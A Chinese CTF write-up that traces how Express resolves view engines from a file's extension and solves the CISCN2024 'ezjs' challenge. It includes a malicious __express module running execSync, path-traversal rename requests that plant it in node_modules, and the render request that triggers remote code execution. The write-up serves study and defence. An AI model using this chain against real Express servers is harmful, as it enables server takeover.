0%

分析Express engine处理引擎的trick

CISCN2024国决一道题的知识点,感觉还挺有意思

分析Express engine处理引擎的trick

流程链简析

当用express的解析模板引擎的时候,即使默认使用了ejs,但是也会有引擎修改的工程

大概调用链如下

1
render() -> View() -> tryRender() -> this.engine()

漏洞分析

位置:node_modules\express\lib\application.js

render()函数开始分析

接收参数name,options,callback,具体指

  • name: 视图文件的名称。
  • options: 渲染选项,可以包含局部变量等。
  • callback: 可选的回调函数,通常用于处理渲染后的结果。

如果第二个参数是函数,则将其视为回调,并将options设置为空对象

1
2
3
4
if (typeof options === 'function') {
done = options;
opts = {};
}

往下看,如果renderOptions.cache为空,调用enabled()函数判断是否开启view cache

1
2
3
if (renderOptions.cache == null) {
renderOptions.cache = this.enabled('view cache');
}

关键代码在下面,由于view在没cache的情况下view变量默认是空的,所以继续调用View()函数

1
2
3
4
5
6
7
8
if (!view) {
var View = this.get('view');

view = new View(name, {
defaultEngine: this.get('view engine'),
root: this.get('views'),
engines: engines
});

跟进一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
function View(name, options) {
var opts = options || {};

this.defaultEngine = opts.defaultEngine;
this.ext = extname(name);
this.name = name;
this.root = opts.root;

if (!this.ext && !this.defaultEngine) {
throw new Error('No default engine was specified and no extension was provided.');
}

var fileName = name;

if (!this.ext) {
// get extension from default engine name
this.ext = this.defaultEngine[0] !== '.'
? '.' + this.defaultEngine
: this.defaultEngine;

fileName += this.ext;
}

if (!opts.engines[this.ext]) {
// load engine
var mod = this.ext.slice(1)
debug('require "%s"', mod)

// default engine export
var fn = require(mod).__express

if (typeof fn !== 'function') {
throw new Error('Module "' + mod + '" does not provide a view engine.')
}

opts.engines[this.ext] = fn
}
//省略部分代码
}

重点看后面部分,如果opts.engines[this.ext]为空那么调用require()函数

在这里__express()函数被导入然后定义在opts.engines[this.ext],也就是说现在engine里有__express()函数

通过搜索可以知道存在回调函数调用,那么我们就可以用来实现RCE

现在关键点在于opts.engines[this.ext]是否可控,我们跟进extname()函数

1
var extname = path.extname;

发现作用就是获取文件拓展名,如果存在类似文件上传那么ext就可控

我们回到render()函数,在第609行处调用tryRender()

1
2
3
4
5
6
7
function tryRender(view, options, callback) {
try {
view.render(options, callback);
} catch (err) {
callback(err);
}
}

继续跟进一下view.render()

1
2
3
4
View.prototype.render = function render(options, callback) {
debug('render "%s"', this.path);
this.engine(this.path, options, callback);
};

最后执行this.engine(this.path, options, callback);


漏洞利用

先准备好对应版本的express和ejs

1
2
npm install express@4.17.2
npm install ejs@3.1.6

我们本地编写demo验证一下,index.js内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
const express = require('express');
const ejs=require('ejs')

app=express()
app.set('view engine', 'ejs');
app.get('/', (req,res) => {
const page = req.query.filename
res.render(page);
})

app.listen('3000', () => {
console.log(`http://localhost:3000`)
})

当对filename传参为不附加后缀的,他会默认使用我们的ejs解析,也就是说

1
2
127.0.0.1/?filename=1
127.0.0.1/?filename=1.ejs //等价的

当我们键入一个自定义后缀1.aaa时候,会像前文提到的这样处理aaa

1
2
3
4
5
var mod = this.ext.slice(1)
debug('require "%s"', mod)

// default engine export
var fn = require(mod).__express

如果我们有一个文件上传位点可控,并且能把文件传到node_modules下,其实就可以进行__express()函数的使用

这里我们直接在本地node_modules下建立一个aaa文件夹,添加一个index.js内容如下

(模拟文件上传功能)

1
2
3
exports.__express = function() {
console.log(require('child_process').execSync("id").toString());
}

然后键入任意文件名,后缀为aaa即可调用

1
http://localhost:3000/?filename=1.aaa

我们可以debug调试看看,不过这里先修改下代码

位置在node_modules\express\lib\application.js第576行,因为默认view.path为空(实际情况不为空),所以等会调试的时候就会抛出异常,我们先把view.path前面的!去掉,等调试完再添加上去

准备好后,我们在node_modules\express\lib\view.js第91行下断点

传参?filename=1.aaa,可以发现engines内容是我们键入的代码

一步步调试到后面,虽然对照的default是ejs,但我们还是在engine里进行替换了我们要执行的函数


[例题]CISCN2024国决-ezjs

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
const express = require('express');
const ejs=require('ejs')
const session = require('express-session');
const bodyParse = require('body-parser');
const multer = require('multer');
const fs = require('fs');

const path = require("path");

function createDirectoriesForFilePath(filePath) {
const dirname = path.dirname(filePath);

fs.mkdirSync(dirname, { recursive: true });
}
function IfLogin(req, res, next){
if (req.session.user!=null){
next()
}else {
res.redirect('/login')
}
}

const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, path.join(__dirname, 'uploads')); // 设置上传文件的目标目录
},
filename: function (req, file, cb) {
// 直接使用原始文件名
cb(null, file.originalname);
}
});

// 配置 multer 上传中间件
const upload = multer({
storage: storage, // 使用自定义存储选项
fileFilter: (req, file, cb) => {
const fileExt = path.extname(file.originalname).toLowerCase();
if (fileExt === '.ejs') {
// 如果文件后缀为 .ejs,则拒绝上传该文件
return cb(new Error('Upload of .ejs files is not allowed'), false);
}
cb(null, true); // 允许上传其他类型的文件
}
});

admin={
"username":"ADMIN",
"password":"123456"
}
app=express()
app.use(express.static(path.join(__dirname, 'uploads')));
app.use(express.json());
app.use(bodyParse.urlencoded({extended: false}));
app.set('view engine', 'ejs');
app.use(session({
secret: 'Can_U_hack_me?',
resave: false,
saveUninitialized: true,
cookie: { maxAge: 3600 * 1000 }
}));

app.get('/',(req,res)=>{
res.redirect('/login')
})

app.get('/login', (req, res) => {
res.render('login');
});

app.post('/login', (req, res) => {
const { username, password } = req.body;
if (username === 'admin'){
return res.status(400).send('you can not be admin');
}
const new_username = username.toUpperCase()

if (new_username === admin.username && password === admin.password) {
req.session.user = "ADMIN";
res.redirect('/rename');
} else {
// res.redirect('/login');
}
});

app.get('/upload', (req, res) => {
res.render('upload');
});

app.post('/upload', upload.single('fileInput'), (req, res) => {
if (!req.file) {
return res.status(400).send('No file uploaded');
}
const fileExt = path.extname(req.file.originalname).toLowerCase();

if (fileExt === '.ejs') {
return res.status(400).send('Upload of .ejs files is not allowed');
}
res.send('File uploaded successfully: ' + req.file.originalname);
});

app.get('/render',(req, res) => {
const { filename } = req.query;

if (!filename) {
return res.status(400).send('Filename parameter is required');
}

const filePath = path.join(__dirname, 'uploads', filename);

if (filePath.endsWith('.ejs')) {
return res.status(400).send('Invalid file type.');
}

res.render(filePath);
});

app.get('/rename',IfLogin, (req, res) => {

if (req.session.user !== 'ADMIN') {
return res.status(403).send('Access forbidden');
}

const { oldPath , newPath } = req.query;
if (!oldPath || !newPath) {
return res.status(400).send('Missing oldPath or newPath');
}
if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) {
return res.status(400).send('Invalid file name');
}
if (oldPath && /\.\.|flag/i.test(oldPath)) {
return res.status(400).send('Invalid file name');
}
const new_file = newPath.toLowerCase();

const oldFilePath = path.join(__dirname, 'uploads', oldPath);
const newFilePath = path.join(__dirname, 'uploads', new_file);

if (newFilePath.endsWith('.ejs')){
return res.status(400).send('Invalid file type.');
}
if (!oldPath) {
return res.status(400).send('oldPath parameter is required');
}

if (!fs.existsSync(oldFilePath)) {
return res.status(404).send('Old file not found');
}

if (fs.existsSync(newFilePath)) {
return res.status(409).send('New file path already exists');
}
createDirectoriesForFilePath(newFilePath)
fs.rename(oldFilePath, newFilePath, (err) => {
if (err) {
console.error('Error renaming file:', err);
return res.status(500).send('Error renaming file');
}

res.send('File renamed successfully');
});
});

app.listen('3000', () => {
console.log(`http://localhost:3000`)
})

upload.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<!DOCTYPE html>
<html lang="en">
<head>
//省略部分代码
</head>
<body>
<div>
<h1>Upload a File</h1>

<form action="/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="fileInput" accept=".txt, .pdf, .jpg, .png" required> <!-- 允许上传的文件类型 -->
<button type="submit">Upload</button>
</form>

<% if (typeof errorMessage !== 'undefined' && errorMessage) { %>
<p class="error"><%= errorMessage %></p>
<% } %>
</div>
</body>
</html>

package.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"name": "express-file-upload-app",
"version": "1.0.0",
"description": "ezjs",
"main": "app.js",
"scripts": {
"start": "node app.js"
},
"dependencies": {
"express": "^4.17.2",
"ejs": "^3.1.6",
"express-session": "^1.17.2",
"body-parser": "^1.19.0",
"multer": "^1.4.4"
}
}

通过package.json我们知道express和ejs的版本是存在利用的,配合文件上传实现Express engine处理引擎漏洞,而upload.js虽然限制上传文件类型,但是waf在前端可以抓包直接绕过。

我们重点还是分析app.js

/upload路由实现文件上传功能

1
2
3
4
5
6
7
8
9
10
11
app.post('/upload', upload.single('fileInput'), (req, res) => {
if (!req.file) {
return res.status(400).send('No file uploaded');
}
const fileExt = path.extname(req.file.originalname).toLowerCase();

if (fileExt === '.ejs') {
return res.status(400).send('Upload of .ejs files is not allowed');
}
res.send('File uploaded successfully: ' + req.file.originalname);
});

调用extname()函数读取文件拓展名,限制了不准上传拓展名ejs的文件

/render实现模板渲染功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
app.get('/render',(req, res) => {
const { filename } = req.query;

if (!filename) {
return res.status(400).send('Filename parameter is required');
}

const filePath = path.join(__dirname, 'uploads', filename);

if (filePath.endsWith('.ejs')) {
return res.status(400).send('Invalid file type.');
}

res.render(filePath);
});

接收参数文件名filename,然后进行拼接成文件路径,如果不为.ejs结尾那么对该文件进行渲染

/rename实现重命名文件的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
app.get('/rename',IfLogin, (req, res) => {

if (req.session.user !== 'ADMIN') {
return res.status(403).send('Access forbidden');
}

const { oldPath , newPath } = req.query;
if (!oldPath || !newPath) {
return res.status(400).send('Missing oldPath or newPath');
}
if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) {
return res.status(400).send('Invalid file name');
}
if (oldPath && /\.\.|flag/i.test(oldPath)) {
return res.status(400).send('Invalid file name');
}
const new_file = newPath.toLowerCase();

const oldFilePath = path.join(__dirname, 'uploads', oldPath);
const newFilePath = path.join(__dirname, 'uploads', new_file);

if (newFilePath.endsWith('.ejs')){
return res.status(400).send('Invalid file type.');
}
if (!oldPath) {
return res.status(400).send('oldPath parameter is required');
}

if (!fs.existsSync(oldFilePath)) {
return res.status(404).send('Old file not found');
}

if (fs.existsSync(newFilePath)) {
return res.status(409).send('New file path already exists');
}
createDirectoriesForFilePath(newFilePath)
fs.rename(oldFilePath, newFilePath, (err) => {
if (err) {
console.error('Error renaming file:', err);
return res.status(500).send('Error renaming file');
}

res.send('File renamed successfully');
});
});

接收参数oldPathnewPath

  • 检查 newPath 是否包含 app.js\或者 .ejs 扩展名。如果包含这些模式,则返回一个状态码为 400 的错误响应
  • 检查 oldPath 是否包含 .. 或者 flag 字符串。如果包含这些模式,则返回一个状态码为 400 的错误响应

然后对旧文件名和新文件名分别进行路径拼接,检查文件路径是否以 .ejs 结尾。最后调用rename()对文件名进行重写

代码逻辑梳理清楚后,开始具体实现

我们用ADMIN:123456进行登录,访问/upload上传文件进行抓包,绕过前端检测

上传成功后,利用/rename路由实现目录穿越,从而把此文件移动到node_modules文件夹

paylaod如下

1
/rename?oldPath=index.js&newPath=../node_modules/aaa/index.js

然后再上传一个.aaa后缀的文件,接着访问/render渲染该文件

1
/render?filename=1.aaa

参数engine里替换成我们的payload,成功命令执行

当然决赛的时候是不出网的,也就是payload要稍微改一下把执行结果写入到其他文件比如1.ejs内,然后再一次渲染1.ejs即可回显结果


参考文章

vscode调试nodejs

漏洞分析